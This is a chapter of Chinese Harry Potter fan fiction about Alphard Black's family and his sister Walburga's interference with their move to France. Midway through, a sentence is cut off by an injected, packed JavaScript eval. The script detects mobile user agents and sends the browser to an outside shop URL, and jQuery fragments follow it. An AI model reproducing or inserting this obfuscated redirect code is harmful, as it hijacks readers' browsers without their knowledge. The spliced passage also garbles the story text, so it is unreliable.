莱拉·布莱克高高举着一只蟾蜍冲进屋里,她兴奋地尖叫:“爸爸,看!快看!”
她的靴子上还粘着泥巴,手指也被糊得乱七八糟,脸上蹭得黑一道灰一道。活脱脱一个野孩子形象。但她的父亲——阿尔法德·布莱克却不觉得有什么,一个清理一新就能解决的小事。
阿尔法德走过去,伸手把她抱起来。莱拉却眼尖地发现了家里陌生的客人。
“爸爸,那是谁家的小精灵?”
“他叫克利切。”阿尔法德答道。
那个名叫克利切的小精灵低下头,做了个奇怪的动作——莱拉不知道他是在对她行礼——尖声道。
“莱拉小姐,您尊敬的姑姑,布莱克家族的女主人,沃尔布加女士特意命令克利切,迎接您和阿尔法德少爷回家。”
阿尔法德眉尖蹙起,正要开口,却被他女儿的笑声打断。
莱拉忍不住噗嗤一声笑了。对一个8岁的孩子来说,让她真正理解克利切的话背后的含义实在有些勉强,但她听懂了自己和爸爸被称呼为“小姐”和“少爷”。
在她的记忆里,爸爸对她的称呼就是“莱拉”,妈妈的花样更多,取决于不同的情况:每年去她那边度假,刚见面时妈妈会喊她“宝贝”;在生气时会吼她“莱拉布莱克!”;在临睡前,妈妈会温柔地亲她的额头,呢喃“我的小天使”。
她跟着妈妈看过很多舞台剧,骑士会轻轻地拉起少女的手,迭声呼唤她“小姐”。莱拉从来没想到,有一天这样的桥段会发生在她身上,看看克利切还在那里蹲着一动不动,她连忙把头扭过去。
阿尔法德无奈地拍拍趴在他肩膀里笑的女儿,低声吩咐克利切起来。他不明白她的小脑袋里每天都在想什么,莫名其妙地就能笑个不停。
“谢谢她还想着我们,但没必要。”阿尔法德等克利切站起来后,平淡地说:“西格纳斯不是生了三个女儿,布莱克家族终于人丁兴旺起来了。”
“您是很重要的,女主人一直在想着您。女主人说,莱拉小姐长大了,该是和同龄小巫师玩耍的年纪了。”
莱拉一动不动地趴在爸爸怀里,她感受到爸爸突然开始不耐烦,他微微加快了语速。
“听清楚了,克利切。我和西格纳斯不一样,我和他的女儿也不一样。把这句话带给沃尔布加,你走吧。”
克利切满腔的话似乎被堵了回去,他冲阿尔法德鞠了一躬,消失不见了。
阿尔法德把莱拉放下来,轻轻揉揉她的头发:“从今天起,不要再一个人跑出去,小心陌生人,知道吗?”
他严肃地盯着她,等着她的承诺。
“知道了,爸爸。”莱拉很快就答应了,张开手让乱蹦的蟾蜍从小窗子里飞出去,她控制得相当精准。“沃尔布加是我的姑姑?那西格纳斯呢?是叔叔吗?”
“是的。”阿尔法德简短地说。他直起身,几步跨进书房,用羽毛笔刷刷写下几行字,叫来猫头鹰送了出去。
猫头鹰贝利熟稔地带着信一飞冲天,离开了这座树林边的小屋。
很快,一个棕发蓝眼的年轻女人急匆匆从壁炉里钻了出来。莱拉一见到她,就欢快地扑过去:“妈妈!”
莱拉的母亲——希维·谢菲顺势抱住女儿,吻了吻,立刻又把她摆到一边,冲阿尔法德说:“我们去书房说。”
莱拉看着父母上楼,不高兴地摊在客厅沙发上,浓密的头发像拖把一样垂到地面。很明显,那个克利切带来了坏消息,他让爸爸心不在焉,让常年在法国的妈妈急急忙忙地赶过来。
沃尔布加。
她想着这个名字。
她的父母正在为这个名字争吵。
“那个女人,她最好放老实点!”希维走来走去,她脚上的高跟皮鞋把木地板剁得咚咚响。“我要把莱拉带走,从今天起她就叫莱拉·谢菲!”
阿尔法德劝阻她:“还没到那个地步。希维,放松点。”
希维倏地转身,死死瞪着她的丈夫:“你是在维护她吗?阿尔法德·布莱克?”
“她不能,也不会把你们怎么样。你不用紧张,她要是真有那么可怕,当初就会阻止我和你结婚。”
“她没有吗?只是她没有成功。”希维的神情和缓了一些,依然语气尖刻:“她有什么权力来干涉你?我不会答应让她靠近莱拉。在她看来,她家门口路过的狗都得听她的话!”
希维·谢菲婚后没有改姓,虽然她并不稀罕他丈夫的姓氏,但这和有人认为她不配根本不是一回事。
阿尔法德·布莱克的婚礼上没有男方亲属的身影,甚至一些布莱克居然公开宣扬,她希维·谢菲的祖父是麻瓜,她祖母当初的选择极为不明智。
新婚夫妻极为恼怒,阿尔法德为此冲进布莱克老宅,和哥哥姐姐大吵一架。西格纳斯很快就被激烈对线的两人撇出了战场,他干脆在一边坐下了。
阿尔法德至今还记得他姐姐目眦欲裂的脸。
“你滚!滚!吃里扒外,狼心狗肺的东西!你怎么敢!你这是背叛!滚吧!我不需要你,这里不需要你!”
阿尔法德冷笑一声:“也许我也不需要你们。”他转身就走了。两个月后,他收到了奥赖恩的信。信里重点回顾了他们兄弟姐妹一起长大的回忆,伤感地怀念以前相互扶持的情谊,还让猫头鹰带来迟到太久的新婚礼物。
旁边的希维看都没多看一眼,劈手夺过那条昂贵却常见的钻石项链,送去博金博客店里当掉了,特意说明这是布莱克家族拿得出手的垃圾。
毫无疑问,这是在火上浇油。这次沃尔布加甚至不再绕弯子了,直接送信下最后的通牒。让阿尔法德好好想想,不要把事情做绝。
阿尔法德没有让已经怀孕的妻子看到这封信,自己抽空又去了一趟布莱克老宅,最后带着许多珍贵的魔法书籍和物品走出了大门。
他把这些存入了未出世孩子的古灵阁金库,勉强维持了一点对家族的“责任”——打理布莱克家族的私人森林。
希维对此一无所知,布莱克家族从此在她的世界里销声匿迹。几年后,她因一些工作上的调动搬去了法国,在外交部崭露头角。新婚时的不愉快恍若隔世,但她从来不肯忘记,她不会原谅别人对她的轻蔑。正因为阿尔法德和希维的刻意回避,莱拉对自己父亲的家族一无所知。在她看来,妈妈挣钱养家,爸爸照顾她,她的家庭完美而普通,与世界上千千万万个家庭大同小异。
阿尔法德对妻子一直怀有愧疚。
他还记忆犹新,那个霍格莫德周末,一个赫奇帕奇的女生冲他走来,把一束金色缎带扎起来的白鲜与满天星递给他,在漫天风雪里笑着说:“愿你永远安然无恙。”他吃惊地看着她,她身后的赫奇帕奇女生们正焦灼又担忧地等着她回去,他旁边的斯莱特林们意味不明地注视、交换眼神,用沉默的眼神催促他,等着一场好戏上演。
女生的眼睛里已经细碎地浮起泪光,依然执拗地盯着他。围观的德鲁埃拉·罗齐尔笑了一声。阿尔法德却伸手接过她的花,笑着感谢她,主动说自己会好好珍藏。
“很漂亮的花,谢菲小姐。”
当然,那束花没能活到第二天早上,阿尔法德希望那位谢菲小姐永远不会知道。他鄙夷自己的软弱,一次次隐瞒她该知道的事情,过去是这样,现在也是。
“希维,我姐姐从不会做自取其辱的事。”阿尔法德语气低沉:“8年了,她突然派克利切过来,必然发生了什么,让她底气十足。”
希维沉默不语。两人相对而坐,只有壁炉中火柴还在噼啪作响。终于她开口了,语气不再尖锐,而是带着工作时的审慎。听得出来,她正逐句斟酌着言辞。
“我不知道和这个有没有关系……两个月前,我审核了一笔国际魔法材料贸易,对方的背景……似乎与黑魔法物品走私有关联,我依法拒绝了审批。不久后,就有人向我的上司匿名投诉我,质疑我的专业能力和……忠诚度。”
她顿了顿,似乎在回忆细节:“从那以后,我经手的一些文件开始出现莫名其妙的错误,或者干脆在关键会议前消失。但我想这应该和那个女人无关,”她摇了摇头,试图说服自己,“因为她根本没直接联系我。而且,这点小麻烦,算不了什么。”
“小麻烦?”阿尔法德的声音更沉了,“我听说,英国这边又有个黑巫师冒头了,鼓吹纯血统那套论调,手段却狠辣得多。才平静多久啊……不,对某些一直蛰伏等待的人来说,平静得太久了。自从格林德沃战败,他们不得不收敛一点。我父亲生前就曾向格林德沃提供过支持。”
希维的心猛地一沉,她一边眉毛挑起,试图用惯常的锋利来掩盖不安:“所以?狗找到新主子了,就迫不及待地开始吠叫,耀武扬威了?”她忍不住想迁怒丈夫,但目光触及他紧锁的眉头和眼中的忧虑,那点迁怒又化开了。当初是她自己被他迷得奋不顾身,明知道布莱克家族的德行还是一头扎进去了。她自找的。
“希维。”阿尔法德唤了她一声,那双灰色的眼睛望着她,里面盛满了复杂的情绪。她一看他那张依旧年轻的脸,即使忧心忡忡也英俊得让人移不开眼,情不自禁又心生怜爱,还有一丝难以言喻的酸楚。
她举起手:“好吧,现在不是吵架的时候。你和莱拉,至少莱拉,跟我去法国。”
阿尔法德和希维商议完,分头去做准备。他带着出境的证件去魔法部办理手续,他由衷希望他们办事的效率能高一些,最好当天就能动身去法国。
魔法部看起来和十年前没有区别。阿尔法德穿着深褐色大衣,戴上墨镜,手里拎着一个公文箱。他走到负责预约的柜台前,那里坐着一个百无聊赖的中年男人。
“国际魔法合作司,谢谢。”
正是临近下班的时候,魔法部的访客寥寥无几。他很快就被请进离境办公室。
“下午好,布莱克先生。”一个年轻的女人从椅子上不慌不忙地站起,大方地冲他伸手:“我是刚进来的实习生,奥黛丽·森博。”
阿尔法德轻轻握了一下她的手:“森博女士,我来办理移居法国的手续。”
“哦,当然。法国是个好地方,对吗?”森博笑容满面,她在桌子高高累起的文件堆里翻找,还不忘和善地招呼他:“不得不遗憾地承认,那边的食物精致多了。坐吧,先生。”
阿尔法德坐下:“谢谢。”
“您可真是谦逊,和其他布莱克似乎不太一样。”她翻出一份皱巴巴的《永久离境与管辖权移交通知表》,按在桌子上。
“礼仪是每个布莱克的必修课。”阿尔法德伸手去够那份表,却被她灵巧地移开。
“先生,嗯,我需要询问您一些基本信息,告知您一些移居须知的事情。”
“洗耳恭听,女士。”阿尔法德面色如常,轻轻一抬下巴。
森博的大眼睛专注地盯着他:“您的移居理由?”
“我在研究一些魔法,法国更适合开展实验。”
“嗯。您是否做好变更管辖权的准备?”森博点点头。
“当然。”
森博继续询问了他一些无关痛痒的问题,反复确认几遍,才热情地把那张表递给他。
阿尔法德花了一些工夫填完表,应她要求又写了一封给法国魔法部的申请信,检查了一遍才递给她。
森博爽快地收下:“先生,您先回去,等我们三天之内通知。”
阿尔法德等到第四天,魔法部一句话都没送来。他再次拜访了那间办公室。还是那个奥黛丽·森博。他按耐住怒气,冷静地询问结果。
森
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605758|187551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
博很抱歉地说:“对不起先生,您的申请没有通过。”
“请问是哪里出错了?”
“您的申请信不太规范。”
阿尔法德反问了一句:“哪里不规范?”
“您的敬语用得太少,其中对法国文化的赞美不够具体。”
阿尔法德静默了一瞬,灰色的眼睛里最后一丝温度褪去了。他嘴角勾起一个毫无笑意的弧度:“我明白了。看来魔法部的新职责是审查文学修辞,而不是管理魔法事务。请问对‘巴黎’的赞美,需要用到几个韵脚才算合规?”
“您别急,我去和上级反馈一下。您稍等。”森博无言以对,最后叹了口气。
阿尔法德看着她出去又进来。“您可以再写一封。”
“可以,请先告知我他们还有什么规范吧?不然再写一封也没什么区别。”
“先生,我们再给您一次机会是看在您很急切的份上,我们需要对魔法部和居民负责,不能给您行方便。”森博为难地说。
阿尔法德震惊了一瞬,怒极反笑:“女士,我只是要求你履行你应该的职责。”
“很抱歉先生,最近想要移居的人太多,我们不得不仔细审核,尤其是对于某些特殊的家族。”森博坚定地说。
阿尔法德没有再说话。他只是用一种让森博笑容僵在脸上的、冰冷而了然的目光凝视了她片刻,仿佛要将她的每一个细节刻入记忆。然后,他极其缓慢地站起身,整理了一下大衣前襟,仿佛要掸掉什么脏东西,这才转身离开。身后传来她故作镇定的告别:“再见,布莱克先生。”他没有回头。
冷风一吹,他心中的怒火迅速冷凝为一块坚冰。森博?一个无足轻重的卒子。真正作梗的人甚至没有露面。他回到家,勉强笑着应付了女儿,大脑却在飞速运转,将所有可能性——合法的、非法的——都在脑中过了一遍。
偷渡不是难事,但没有合法的身份会让莱拉将来寸步难行。转不了国籍,她就没法去布斯巴顿上学。更困难的事,魔法部有权抓捕在逃的黑户,阿尔法德敢打赌,他的兄弟姐妹们也许正摩拳擦掌地等着去抓他呢!
希维得知此事,去找了法国魔法部的相关人员,回来后咬牙说:“我都问清楚了,你的申请信根本没有送到法国!英国魔法部刚出台限制巫师移居的法律,十人申请只能通过一个,迄今为止,只有两个混血出去了。”
阿尔法德不得不再次扣响布莱克老宅的大门,在近十年的阔别之后。他看都没看恭敬给他开门的克利切一眼,直接迎上沃尔布加的目光。
十年的光阴对巫师来说算不得什么,沃尔布加的容貌没有改变,整个人不复他最后印象里的尖锐愤怒,平静从容了很多。他注意到她身后的两个男孩,标准的黑发灰眼,和莱拉一样。
“谢菲已经定居法国,你为什么不回来呢?阿尔法德。”沃尔布加心平气和地与阿尔法德相对而坐。
“成年的布莱克搬出老宅有什么问题,西格纳斯不是也搬出去了吗?”阿尔法德平淡地说。
“西格纳斯从未远离过我们,他记得他是个布莱克。”沃尔布加加重语气:“你呢?你的侄子侄女们,你见过几面?”她转头冲旁边的两个男孩招招手,让他们向阿尔法德问好。
阿尔法德被这两个小家伙给噎住了。他不得不亲切地关怀他们几句,用眼神暗示沃尔布加,小孩不该参与长辈谈话的场面,却被她无视了。
“西格纳斯还有三个女儿,都很有天赋。莱拉很幸运,黑发灰眼,比她们更像个布莱克。她应该活的像个布莱克家族的小姐,而不是抓着蟾蜍的野丫头。”
“沃尔布加,我今天来是想询问魔法部最近出台的法规。”阿尔法德不想吵架,吵架解决不了问题。
“那是黑魔王的意思。优秀的血统不该随意流落在外,这很合理。”
阿尔法德听到这里,“呵呵”冷笑一声,引来沃尔布加愤怒的目光。他平心静气道:“姐姐,你认为这是好事?布莱克家族现在居然沦落到受人辖制的地步了。下一步是什么?俯首称臣?”
“那是为了纯血家族的荣耀!”沃尔布加像是被针猛然刺了一下:“我们支持符合我们利益的政客,只不过需要付出一些金钱——”
“够了。”阿尔法德轻声说:“布莱克家族你做主,我没有资格过问,但你别想——永远不可能——将我的家庭绑上你的战车。”
沃尔布加冰凉的灰眼睛里闪过一丝受伤:“阿尔法德,你竟敢这么说!我要求过你什么?在我们家摇摇欲坠的时候,我宁愿把我的婚事当做筹码,也没有逼迫你去负起你该尽的责任!我忍了你十年的不闻不问,你却始终心怀恶意地揣测我!我相信你,相信我一脉同胞的亲弟弟,即使你在迫不及待地躲开我!我在为你和你的孩子考虑,回到这里才是最安全的。”
阿尔法德没有说话,他冷淡的神色已经给出了答案。这令沃尔布加怒火中烧,她不明白他是怎么回事,难道他对她的偏见已经足够蒙蔽他做出正确的选择?
“沃尔布加,当初摇摇欲坠的只是你幻想中的地位,我没有责任为此负责。”
沃尔布加眨了下眼睛,收起了所有的软弱,决定最后拿正眼看他一次,冰冷地发出警告。
“阿尔法德·布莱克,你不会真的打算背叛我们吧?”
阿尔法德把她的面部表情变化尽收眼底,心知她已经被逼到墙角,他也到了见好就收的地步了。
“各退一步吧,姐姐。我不会带莱拉住进这里,我们会在对面买个房子。这是我最大的退让。”
“别让我看到那个女人。”沃尔布加冷冷地说。
“放心吧沃尔布加,她也正有此意。”阿尔法德喝下茶盏里最后一口茶,放下杯子。如过去那样,头也不回地离开了。